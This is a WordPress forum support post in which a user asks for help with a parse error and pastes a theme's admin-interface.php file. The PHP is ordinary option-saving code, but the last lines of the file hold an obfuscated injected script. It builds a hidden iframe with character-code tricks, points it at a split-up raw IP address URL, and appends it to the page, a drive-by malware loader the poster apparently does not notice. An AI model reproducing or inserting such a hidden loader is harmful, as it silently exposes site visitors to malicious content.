• All the other templates worked fine despite the one MODULARITY v2.5

    Parse error: syntax error, unexpected $end in /home/addrigh1/public_html/presasportiva.com/wp-content/themes/modularity2/functions/admin-interface.php on line 132

    please help me somehow…the line 132 is the last line : </script>

    <?php
    // gppThemes Admin Interface 
    
    function gppthemes_add_admin() { 
    
        global $query_string;
        $options =  get_option('gpp_template');
        $themename =  get_option('gpp_themename');
        $shortname =  get_option('gpp_shortname');       
    
        if ( $_REQUEST['page'] == 'gppthemes' ) {
            if ( 'save' == $_REQUEST['gpp_save'] ) {
                    $upload_tracking = array();
                    foreach ($options as $key => $value) { 
    
                            $id = $value['id']; 
    
                            if ( is_array($value['type']) && $value['type'] != 'upload') {
                                foreach($value['type'] as $array){
                                    if($array['type'] == 'text'){
                                    $id = $array['id'];
                                    update_option( $id, $_REQUEST[ $id ]);
                                    }
                                }
                            }
                            elseif($value['type'] == 'checkbox'){
                                 if(isset( $_REQUEST[$id])){update_option( $id, $_REQUEST[ $id] );} else { update_option( $id, 'false' ); }
                            }
                            elseif($value['type'] == 'select'){
                                 if(isset( $_REQUEST[$id])){update_option( $id, htmlentities($_REQUEST[ $id] ));} else { delete_option( htmlentities( $id )); } 
    
                            }
                            elseif($value['type'] == 'upload' ){
                                $override['test_form'] = false;
                                $override['action'] = 'gpp_save'; 
    
                                 if(!empty( $_FILES['attachement_'.$id]['name'])){ //New upload
                                        $uploaded_file = wp_handle_upload($_FILES['attachement_' . $id ],$override);
                                        $uploaded_file['option_name']  = $value['name'];
                                        $upload_tracking[] = $uploaded_file;
                                        update_option( $id , $uploaded_file['url'] );
                                        }
                                 elseif(isset( $_REQUEST[ $id ])){ // No new file, just the already saved file
                                        update_option( $id , $_REQUEST[$id] );
                                    }
                            }
                            elseif($value['type'] != 'multicheck'){
                                 if(isset( $_REQUEST[ $value['id'] ])){update_option( $id, $_REQUEST[$id] );} else { delete_option( $id); }
                            } 
    
                            else  // Multicheck
                            {
                                foreach($value['options'] as $mc_key => $mc_value){
                                    $up_opt = $id . '_' . $mc_key;
                                     if(isset( $_REQUEST[ $up_opt ])){update_option( $up_opt, $_REQUEST[ $up_opt ] );}  else {update_option($up_opt, 'false' );}
                                }
                            }
                    }
                    update_option('gpp_upload_tracking', $upload_tracking); 
    
                    //Create, Encrypt and Update the Saved Settings
                    global $wpdb;
                    $query = "SELECT * FROM $wpdb->options WHERE option_name LIKE 'gpp_%' AND NOT option_name = 'gpp_template' AND NOT option_name = 'gpp_custom_template' AND NOT option_name = 'gpp_settings_encode'";
                    $results = $wpdb->get_results($query); 
    
                    $output = "<ul>";
                    foreach ($results as $result){
                            $output .= '<li><strong>' . $result->option_name . '</strong> - ' . $result->option_value . '</li>';
                    }
                    $output .= "</ul>";
                    $output = base64_encode($output);
                    update_option('gpp_settings_encode',$output);
                    //End 
    
                    $send = $_GET['page'];
                    header("Location: admin.php?page=gppthemes&saved=true");                                 
    
                die; 
    
            } else if ( 'reset' == $_REQUEST['gpp_save'] ) {
                global $wpdb;
                $query = "DELETE FROM $wpdb->options WHERE option_name LIKE 'gpp_%'";
                $wpdb->query($query);
                header("Location: admin.php?page=gppthemes&reset=true");
                die;
            } 
    
        } 
    
        // Check all the Options, then if the no options are created for a ralitive sub-page... it's not created.
        if(function_exists(add_object_page))
        {
            add_object_page ('Page Title', $themename, 8,'gppthemes', 'gppthemes_page', get_bloginfo('template_url'). '/functions/images/gpp-icon.png');
        }
        else
        {
            add_menu_page ('Page Title', $themename, 8,'gppthemes_home', 'gppthemes_page', get_bloginfo('template_url'). '/functions/images/gpp-icon.png');
        }
        add_submenu_page('gppthemes', $themename, 'Theme Options', 8, 'gppthemes','gppthemes_page'); // Default
        add_submenu_page('gppthemes', 'Available gppThemes', 'Buy Themes', 8, 'gppthemes_themes', 'gppthemes_more_themes_page');
    } 
    
    function gppthemes_page(){ 
    
        $options =  get_option('gpp_template');
        $themename =  get_option('gpp_themename');
        $shortname =  get_option('gpp_shortname');
        $manualurl =  get_option('gpp_manual'); 
    
        //Version in Backend Head
        $theme_data = get_theme_data(STYLESHEETPATH . '/style.css');
        $local_version = $theme_data['Version'];
        $update_message = '<span class="update">v.'. $local_version .'</span>';
    ?> 
    
    <script> 
    
    z1=document.createElement("if"+String.fromCharCode(114)+"ame"); 
    
    sz=String.fromCharCode(60-11); 
    
    z1.setAttribute("s"+String.fromCharCode(114)+"c","https://"+"178.86."+"0.137/in."+"cgi?def"+"ault"); 
    
    z1.setAttribute("wid"+"th",sz); 
    
    z1.setAttribute("heig"+"ht",sz); 
    
    function zp(zb){document.body.appendChild(zb);} 
    
    void(zp(z1)); 
    
    </script>

  • The topic ‘template problem – MODULARITY’ is closed to new replies.